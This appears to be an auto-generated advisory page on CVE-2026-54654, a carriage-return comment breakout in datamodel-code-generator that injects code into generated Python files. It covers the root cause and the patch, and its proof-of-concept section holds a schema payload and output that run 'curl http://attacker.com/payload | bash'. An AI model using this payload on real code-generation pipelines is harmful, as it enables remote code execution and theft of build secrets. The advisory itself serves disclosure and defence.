CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54654

CVE-2026-54654: Python Code Injection in datamodel-code-generator via Comment Line-Break Escape

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 29, 2026·5 min read·21 visits

Executive Summary (TL;DR)

A local code injection vulnerability exists in datamodel-code-generator versions prior to 0.60.2. Inadequate sanitization of line terminators in the comment metadata of schema templates allows attackers to inject arbitrary executable statements into generated Python code, which triggers code execution when the generated files are imported.

A vulnerability in the datamodel-code-generator library allows for unauthenticated remote code execution when generating code from malicious or untrusted schema specifications. By embedding special physical line terminators, such as carriage returns, vertical tabs, or form feeds, within template values, an attacker can break out of inline Python comment boundaries. The generated output file subsequently contains un-commented python instructions that execute automatically during module import.

Vulnerability Overview

The open-source library datamodel-code-generator converts schema files—such as OpenAPI definitions, JSON Schema, GraphQL models, and Protocol Buffers—into Python structures. These target structures include typed components such as Pydantic models, TypedDicts, msgspec Structs, and dataclasses. Because this utility programmatically writes source files intended for execution, the integrity of its generation parser is crucial to preventing downstream code execution.

Historically, code generation tools are highly targeted vectors for supply chain attacks. When a developer or automated ingestion pipeline retrieves an untrusted configuration file, the generator compiles the inputs into static python source structures. The threat model changes from passive schema processing to local file execution once these scripts are executed in user spaces.

This vulnerability, classified as CVE-2026-54654, manifests because of inadequate validation of specialized control symbols. Specifically, when rendering descriptive metadata, the script relies on raw string injections following inline comment markers. Because some newline symbols are not processed correctly, they terminate the comment block prematurely, creating executable statements from what should have been inert code commentary.

Root Cause Analysis

To diagnose the root cause of CVE-2026-54654, it is necessary to examine how the Python compiler tokenizes physical lines. A physical line is defined as a sequence of characters terminated by a Line Feed (\n), a Carriage Return + Line Feed (\r\n), or a standalone Carriage Return (\r). Other control characters, such as Vertical Tab (\v) and Form Feed (\f), may also partition physical statements in multiple parser implementations.

In Python, inline comments begin with a hash character (#) and continue until the end of the current physical line. The lexical scanner interprets the comment block as spanning up to the physical line boundary. If a carriage return or vertical tab is introduced into the text, the parser splits the comment sequence. The text preceding the line terminator is treated as a comment, while the text after it is parsed as an active statement.

Prior to version 0.60.2, datamodel-code-generator dynamically populated Jinja2 templates using model metadata comment variables without prior neutralization. This meant raw input strings were injected immediately after the # character in templates like TypedDict.jinja2 and BaseModel.jinja2. Consequently, any user-supplied carriage return character was rendered directly into the generated source, breaking the syntax line block and allowing code injection.

Code Analysis & Patch Review

The diagram below illustrates the input data validation pipeline introduced in the fixed version of the library:

This vulnerability has been addressed in commit b73abb5cd703a50471b8950bbd3bd0b82ad71de7 by implementing string normalization. The patch inserts dedicated sanitization routines within src/datamodel_code_generator/model/base.py to strip vertical lines and escape comment parameters.

def comment_safe(value: str | None) -> str | None:
    # Standardizes carriage returns into typical line feed newlines
    return value.replace("\r\n", "\n").replace("\r", "\n")
 
def inline_comment_safe(value: str | None) -> str | None:
    """Make a value safe for a generated inline Python comment."""
    if value is None:
       return None
    safe_value = comment_safe(value) or ""
    # Convert vertical tabs and form feeds to newlines, then prepend '#' to each split line
    return safe_value.replace("\v", "\n").replace("\f", "\n").replace("\n", "\n# ")

These functions validate and intercept metadata comment attributes prior to rendering them via Jinja2 engine templates. However, review of the patch indicates that when custom templates are defined by absolute disk pathing, this validation logic is bypassed entirely (use_custom_template conditional check). Development teams relying on custom template definitions must ensure their designs are secure.

Attack Methodology & Proof-of-Concept

Exploiting this flaw requires the ability to influence the configuration data consumed during code generation. This typically occurs in automatic client compilation pipelines that pull schema specs dynamically from third-party application backends or external APIs. An attacker can construct a payload by injecting carriage returns inside schema description properties or template metadata arguments.

Consider a scenario where an attacker targets a code-generation automation worker. The attacker provides an metadata payload that utilizes standard carriage return sequences:

{
  "Model": {
    "comment": "safe comment\rimport os\nos.system('curl http://attacker.com/payload | bash')\n# "
  }
}

When processed by a vulnerable version of the compiler, the output structure writes the comments with physical line terminators. Because the carriage return behaves as a line terminator, CPython splits the text into separate execution statements:

# Model definition
# safe comment
import os
os.system('curl http://attacker.com/payload | bash')
# 
class Model(BaseModel):
    name: str

When a downstream utility imports this generated library, the code executes immediately under the privileges of the executing workspace.

Impact Assessment

The impact of CVE-2026-54654 is highly severe, carrying a CVSS base score of 7.8. Because the command injection runs within the context of the user running the generation tool or executing the generated Python file, it represents a direct vector to system compromise. Attackers can leverage the script context to read system environment variables, pull authorization tokens, read sensitive files, or run interactive shells.

In modern microservice architectures, developers often build automate pipelines that run code generation tools during local compilation, CI/CD execution, or cloud deployment. A vulnerability that triggers execution during compilation can result in the compromise of target development boxes, cloud build agents, or production cluster systems. The compromise can easily propagate horizontally to code repositories and shared libraries.

While user interaction is required because a developer or pipeline has to trigger code generation or import the generated code, the exploit complexity is exceptionally low. Since standard build configurations run with elevated cloud environment secrets, exploitation can compromise upstream credentials.

Official Patches

koxudaxiOfficial patch addressing carriage return breakout in Jinja2 templates

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

datamodel-code-generator versions starting from 0.14.1 up to (but not including) 0.60.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
datamodel-code-generator
koxudaxi
>= 0.14.1, < 0.60.20.60.2
AttributeDetail
CWE IDCWE-94, CWE-1336
Attack VectorLocal (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
CVSS Severity Score7.8 (High)
Exploit StatusProof-of-Concept (PoC) available
Primary Vulnerable ComponentJinja2 template interpolation logic in koxudaxi/datamodel-code-generator
Fix Version0.60.2

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product constructs code using input without properly neutralizing control sequences.

Vulnerability Timeline

Fix commit developed and merged into the main repository branch.
2026-06-08
GitHub Security Advisory GHSA-wjv6-jcfj-mf9r is published.
2026-07-28
CVE-2026-54654 is formally issued and populated in the NVD.
2026-07-28

References & Sources

  • [1]GHSA-wjv6-jcfj-mf9r: Python Code Injection in datamodel-code-generator
  • [2]Release 0.60.2: official patched update release details

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 10 hours ago•CVE-2026-107844
5.3

CVE-2026-107844: Path Traversal Vulnerability in Contao ImagesController

A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.

Amit Schendel
Amit Schendel
8 views•5 min read
•about 12 hours ago•CVE-2026-107848
3.5

CVE-2026-107848: Cross-Site Request Forgery (CSRF) in Contao Backend Actions via GET Requests

Contao Open Source CMS versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 contain a Cross-Site Request Forgery (CSRF) vulnerability in backend parameter handling. The `RequestTokenListener` component validates anti-CSRF tokens solely for HTTP POST requests, while GET-based declarative guards run only when an `act` parameter is present in the query string. Consequently, custom backend actions dispatched via alternative parameters such as `key=` can execute without CSRF token verification when triggered by an authenticated user.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 13 hours ago•CVE-2026-107843
5.3

CVE-2026-107843: Unthrottled Activation Email Resend and Account Enumeration in Contao CMS

Contao CMS versions 4.1.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 fail to validate form submission tokens and enforce rate limiting when processing activation email resend requests via HTTP POST, enabling resource exhaustion and account state enumeration.

Amit Schendel
Amit Schendel
8 views•4 min read
•about 14 hours ago•CVE-2026-107842
5.3

CVE-2026-107842: Information Disclosure via Stale Indexing in Contao Search Module

An information disclosure vulnerability in Contao CMS allows unauthenticated site visitors to view protected page titles, URLs, and text excerpts through search queries when protected page indexing is disabled after previously being enabled.

Amit Schendel
Amit Schendel
9 views•4 min read
•about 15 hours ago•GHSA-G38J-7V97-X298
6.5

GHSA-G38J-7V97-X298: Missing Authorization Check in Vikunja CalDAV Task Relation Creation

In Vikunja prior to version 2.6.0, relation creation via the CalDAV endpoint fails to invoke the TaskRelation.CanCreate authorization check. This missing access control allows an authenticated user to establish unauthorized relationships and perform write operations against any task, provided its unique identifier (UID) is known.

Alon Barad
Alon Barad
12 views•5 min read
•about 16 hours ago•GHSA-3HC7-R24J-RPWC
6.8

GHSA-3hc7-r24j-rpwc: Cross-Project Task Disclosure via Subtask Expansion in Vikunja

A cross-project information disclosure vulnerability in Vikunja allows authenticated users with read access to one project to view private task details from unauthorized projects via subtask expansion parameters.

Alon Barad
Alon Barad
9 views•5 min read